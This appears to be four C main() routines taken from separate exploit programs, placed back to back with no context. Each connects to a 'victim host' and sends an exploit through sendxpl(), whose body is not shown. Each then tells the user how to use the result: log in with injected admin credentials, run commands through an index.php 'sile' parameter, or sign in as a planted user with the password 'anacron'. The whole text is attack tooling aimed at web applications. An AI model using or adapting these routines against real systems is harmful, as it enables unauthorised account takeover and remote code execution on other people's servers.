int main(int argc, char *argv[]){ FILE *out; int sock, sockconn, type; struct sockaddr_in addr; struct hostent *hp; type = atoi(argv[6]); if(argc!=7 || (type < 1) || (type > 2)) info(); banner(); if((sock = socket(AF_INET,SOCK_STREAM,0)) < 0) errsock(); printf("[*] Creating socket [OK]\n"); if((hp = gethostbyname(argv[1])) == NULL) errgeth(); printf("[*] Resolving victim host [OK]\n"); memset(&addr,0,sizeof(addr)); memcpy((char *)&addr.sin_addr,hp->h_addr,hp->h_length); addr.sin_family = AF_INET; if(type == 1) addr.sin_port = htons(PORT1); else addr.sin_port = htons(PORT2); sockconn = connect(sock,(struct sockaddr *)&addr,sizeof(addr)); if(sockconn < 0) errconn(argv); printf("[*] Connecting at victim host [OK]\n"); out = fdopen(sock,"a"); setbuf(out,NULL); sendxpl(out,argv,type); if(type == 1) printf("[*] Now test your username and password\n" " on http://%s/admin/\n\n",argv[1]); else printf("[*] Now test your username and password\n" " on http://%s:8077\n\n",argv[1]); shutdown(sock,2); close(sock); return 0; }
int main(int argc, char *argv[]){ FILE *out; int sock, sockconn, type; struct sockaddr_in addr; struct hostent *hp; if(argc != 5) info(); type = atoi(argv[4]); if(type < 0 || type > 3) info(); if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) errsock(); system("clear"); printf("[*] Creating socket [OK]\n"); if((hp = gethostbyname(argv[1])) == NULL) errgeth(); printf("[*] Resolving victim host [OK]\n"); memset(&addr,0,sizeof(addr)); memcpy((char *)&addr.sin_addr,hp->h_addr,hp->h_length); addr.sin_family = AF_INET; addr.sin_port = htons(PORT); sockconn = connect(sock, (struct sockaddr *)&addr, sizeof(addr)); if(sockconn < 0) errconn(); printf("[*] Connecting at victim host [OK]\n",argv[1]); out = fdopen(sock,"a"); setbuf(out,NULL); sendxpl(out, argv, type); printf("[*] Sending exploit [OK]\n"); readout(sock, argv); shutdown(sock, 2); close(sock); fclose(out); return(0); }
int main(int argc, char *argv[]){ FILE *out; int sock, sockconn, type; struct sockaddr_in addr; struct hostent *hp; if(argc!=4) info(); type = atoi(argv[3]); if(type < 1 || type > 3) info(); banner(); if((sock = socket(AF_INET,SOCK_STREAM,0)) < 0) errsock(); printf("[*] Creating socket [OK]\n"); if((hp = gethostbyname(argv[1])) == NULL) errgeth(); printf("[*] Resolving victim host [OK]\n"); memset(&addr,0,sizeof(addr)); memcpy((char *)&addr.sin_addr,hp->h_addr,hp->h_length); addr.sin_family = AF_INET; addr.sin_port = htons(PORT); sockconn = connect(sock,(struct sockaddr *)&addr,sizeof(addr)); if(sockconn < 0) errconn(argv); printf("[*] Connecting at victim host [OK]\n"); out = fdopen(sock,"a"); setbuf(out,NULL); sendxpl(out,argv,type); printf("[*] Now test at execute code on\n\n" "[1] %s%sindex.php?sile=id\n" "[2] %s%sadmin/index.php?sile=id\n\n",argv[1],argv[2],argv[1],argv[2]); shutdown(sock,2); close(sock); return 0; }
int main(int argc, char *argv[]) { int sock, sockconn; struct sockaddr_in addr; struct hostent *hp; if(argc!=4) info(); if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) errsock(); system("clear"); printf("[*] Creating socket [OK]\n"); if((hp = gethostbyname(argv[1])) == NULL) errgeth(); printf("[*] Resolving victim host [OK]\n"); memset(&addr,0,sizeof(addr)); memcpy((char *)&addr.sin_addr,hp->h_addr,hp->h_length); addr.sin_family = AF_INET; addr.sin_port = htons(PORT); sockconn = connect(sock,(struct sockaddr *)&addr,sizeof(addr)); if(sockconn < 0) errsock(); printf("[*] Connecting at victim host [OK]\n"); sendxpl(sock, argv); printf("[*] Now check on\n" " http://%s%s\n\n" " your username: %s\n" " with password: anacron\n\n",argv[1],argv[2],argv[3]); shutdown(sock, 2); close(sock); return(0); }